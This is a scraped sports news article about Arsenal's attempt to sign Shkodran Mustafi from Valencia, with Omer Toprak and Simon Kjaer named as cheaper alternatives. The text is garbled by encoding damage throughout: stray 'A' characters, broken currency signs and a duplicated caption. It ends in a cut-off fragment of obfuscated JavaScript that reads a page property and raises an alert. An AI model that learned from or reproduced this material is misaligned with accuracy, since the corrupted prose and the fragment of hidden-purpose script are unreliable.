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Arsenal’s Pursuit Of Germany Defender Shkodran Mustafi Remains In Progress

Arsenal Target New Central Defensive Pair ofAOmer Toprak of Bayer Leverkusen and Simon Kjaer of Fenerbahce as an alternative toAValencia defenderAShkodran Mustafi, according toABritish media.

AfterAInjuries to central defendersAPer Mertesacker and Gabriel, the Gunners short of numbers in the position, and absence of Frenchman Laurent Koscielny Afrom the team that lost to Liverpool on Sunday because of a lack of fitness after Euro 2016.
The Gunners had identified Mustafi as the man they wanted to bring in to bolster their options, The daily mail saysAValencia want A?30million for the Germany international, but the Gunners value the centre-back nearer to A?20m.
Mustafi has agreed in principle a five-year deal to join the Emirates Stadium club,Athough even while he’s ready to make the move to London, nothing will be completed unless the Spanish club ready to Areach an agreement.

Valencia want A?30m for Mustafi but Arsenal value the German defender closer to A?20m
Valencia want A?30m for Mustafi but Arsenal value the German defender closer to A?20m

The Spanish club are adamant they won’t let the player leave for anything less than their valuation asAthe close of the transfer window gets closer.
With a deal for Mustafi stalling, the Sky Sports report claims thatAToprak and Kjaer are among the alternatives shouldAthey fail to reach an agreement with Valencia.
Both players are cheaper options for Arsene Wenger,A as he continues to be prudent over the money Arsenal spend in the transfer market this summer.
Arsenal are also believed to be in the market for a centre forward, with the likes of Alexandre Lacazette of Lyon featuring high on their shopping list. 322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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